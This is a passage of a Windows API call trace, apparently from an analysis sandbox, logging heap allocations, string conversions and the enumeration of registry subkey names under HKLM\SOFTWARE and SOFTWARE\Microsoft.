lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0033.778] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7bca0 [0033.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0xf7bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0033.778] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7bc58 [0033.778] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bca0) returned 1 [0033.778] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bc58) returned 1 [0033.778] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.778] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0xf7b930, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0033.778] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0033.778] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7bc58 [0033.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0xf7bc58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0033.778] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7bca0 [0033.778] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bc58) returned 1 [0033.778] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bca0) returned 1 [0033.778] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.778] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0033.779] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x184) returned 0xf7d040 [0033.779] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7bca0 [0033.779] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7bc58 [0033.779] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7bce8 [0033.779] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7bd30 [0033.779] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7bd78 [0033.779] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7bdc0 [0033.779] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7be08 [0033.779] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7be50 [0033.779] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7be98 [0033.779] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7bee0 [0033.779] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7bf28 [0033.779] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7bf70 [0033.779] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7bfb8 [0033.779] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c000 [0033.779] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c048 [0033.779] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c090 [0033.779] RegCloseKey (hKey=0x80000002) returned 0x0 [0033.779] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0xf7b930, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0033.779] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0033.779] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0xf7c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0033.779] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.779] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.779] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.779] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.779] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0xf7b930, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0033.780] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0033.780] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0xf7c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0033.780] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.780] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.780] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.780] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.780] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0xf7b930, cchName=0x104 | out: lpName="Classes") returned 0x0 [0033.780] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0033.780] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0xf7c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0033.780] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.780] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.780] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.780] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.780] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0xf7b930, cchName=0x104 | out: lpName="Clients") returned 0x0 [0033.780] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0033.780] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0xf7c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0033.780] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.780] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.780] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.780] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.780] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0xf7b930, cchName=0x104 | out: lpName="Intel") returned 0x0 [0033.780] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0033.780] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0xf7c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0033.780] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.780] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.780] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.780] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.781] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0xf7b930, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0033.781] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0033.781] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0xf7c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0033.781] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.781] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.781] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.781] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.781] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0xf7b930, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0033.781] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0033.781] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0xf7c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0033.781] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.781] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.781] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.781] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.781] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0033.781] RegCloseKey (hKey=0xc4) returned 0x0 [0033.781] RegEnumKeyW (in: hKey=0x38, dwIndex=0x0, lpName=0xf7b930, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0033.781] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0033.781] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0xf7c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0033.781] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.781] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.781] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.781] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.781] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1, lpName=0xf7b930, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0033.782] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0033.782] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0xf7c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0033.782] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.782] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.782] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.782] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.782] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2, lpName=0xf7b930, cchName=0x104 | out: lpName="ADs") returned 0x0 [0033.782] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0033.782] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0xf7c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0033.782] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.782] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.782] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.782] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.782] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3, lpName=0xf7b930, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0033.782] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0033.782] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0xf7c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0033.782] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.782] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.782] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.782] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.782] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4, lpName=0xf7b930, cchName=0x104 | out: lpName="ALG") returned 0x0 [0033.782] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0033.782] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0xf7c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0033.782] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.782] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.783] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.783] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.783] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5, lpName=0xf7b930, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0033.783] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0033.783] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0xf7c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0033.783] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.783] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.783] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.783] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.783] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6, lpName=0xf7b930, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0033.783] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0033.783] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0xf7c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0033.783] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.783] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.783] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.783] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.783] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7, lpName=0xf7b930, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0033.783] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0033.783] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0xf7c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0033.783] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.783] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.783] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.783] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.783] RegEnumKeyW (in: hKey=0x38, dwIndex=0x8, lpName=0xf7b930, cchName=0x104 | out: lpName="COM3") returned 0x0 [0033.783] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0033.783] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0xf7c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0033.784] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.784] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.784] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.784] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.784] RegEnumKeyW (in: hKey=0x38, dwIndex=0x9, lpName=0xf7b930, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0033.784] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0033.784] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0xf7c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0033.784] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.784] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.784] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.784] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.784] RegEnumKeyW (in: hKey=0x38, dwIndex=0xa, lpName=0xf7b930, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0033.784] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0033.784] 